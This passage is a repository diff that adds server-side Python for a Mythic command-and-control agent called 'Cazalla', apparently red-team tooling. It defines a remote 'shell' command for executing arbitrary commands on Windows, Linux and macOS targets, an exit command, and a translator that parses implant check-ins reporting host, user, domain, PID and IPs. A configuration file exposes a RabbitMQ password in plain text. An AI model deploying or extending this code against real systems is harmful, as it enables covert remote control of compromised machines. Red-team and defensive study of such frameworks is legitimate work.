-21 18 -10 13 28 -7 41 -19 41 -27 0z"/>
<path d="M4090 1355 c0 -42 10 -45 28 -8 16 37 15 43 -8 43 -16 0 -20 -7 -20
-35z"/>
<path d="M4170 1357 c0 -22 5 -34 14 -34 9 0 14 12 14 34 0 22 -5 33 -14 33
-9 0 -14 -11 -14 -33z"/>
<path d="M4310 1355 c0 -42 10 -45 27 -9 14 30 9 44 -13 44 -9 0 -14 -11 -14
-35z"/>
<path d="M4380 1355 c0 -19 5 -35 10 -35 6 0 10 16 10 35 0 19 -4 35 -10 35
-5 0 -10 -16 -10 -35z"/>
<path d="M4444 1355 c-6 -19 -7 -35 -3 -35 5 0 9 6 9 13 0 8 4 7 10 -3 8 -12
10 -12 9 5 0 11 -4 28 -7 37 -6 14 -10 10 -18 -17z"/>
<path d="M5100 990 c-7 -4 -9 -13 -6 -19 4 -6 2 -11 -5 -11 -7 0 -10 -2 -7 -5
8 -8 58 13 58 24 0 13 -25 20 -40 11z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 16 KiB

@@ -0,0 +1,37 @@
from mythic_container.MythicCommandBase import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Salir del Callback"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_tasking(self, task: MythicTask) -> MythicTask:
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,44 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
+11
View File
@@ -0,0 +1,11 @@
#from mywebhook.webhook import *
import mythic_container
import asyncio
import cazalla
#import websocket.mythic.c2_functions.websocket
from translator.translator import *
#from my_logger import logger
#from basic_command_augment import *
#from basic_eventer.my_eventing import *
mythic_container.mythic_service.start_and_run_forever()
@@ -0,0 +1,6 @@
{
"rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1",
"debug_level": "debug"
}
+9
View File
@@ -0,0 +1,9 @@
aio-pika==9.0.4
dynaconf==3.1.11
ujson==5.7.0
aiohttp==3.8.3
psutil==5.9.4
grpcio
grpcio-tools
mythic-container
pyaml
@@ -0,0 +1,57 @@
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x08, "input_type":None}
}
def responseTasking(tasks):
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
for task in tasks:
command_to_run = task["command"]
if commands[command_to_run]["input_type"] == "string":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
print("Unsupported type (for now...)")
dataToSend = dataHead + dataTask
return dataToSend
def responseCheckin(uuid):
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
return data
@@ -0,0 +1,96 @@
from translator.utils import *
import ipaddress
def checkIn(data):
# Retrieve UUID
uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4])
data = data[4:]
i = 0
IPs = []
while i < numIPs:
ip = data[:4]
data = data[4:]
addr = str(ipaddress.ip_address(ip))
IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0]
if archOS == 0x64:
archOS = "x64"
elif archOS == 0x86:
archOS = "x86"
else:
archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin",
"ips": IPs,
"os": targetOS.decode('cp850'),
"user": username.decode('cp850'),
"host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'),
"pid": pid,
"uuid": uuid.decode('cp850'),
"architecture": archOS ,
"externalIP": externalIP.decode('cp850'),
}
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output":output.decode('cp850'),
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
return dataJson
@@ -0,0 +1,52 @@
import json
import base64
import binascii
import os
from translator.utils import *
from translator.commands_from_c2 import *
from translator.commands_from_implant import *
from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer):
name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b""
response.EncryptionKey = b""
return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"])
return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING")
response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE")
response.Message = postResponse(data[1:])
return response
+7
View File
@@ -0,0 +1,7 @@
import base64
import os
def getBytesWithSize(data):
size = int.from_bytes(data[0:4])
data = data[4:]
return data[:size], data[size:]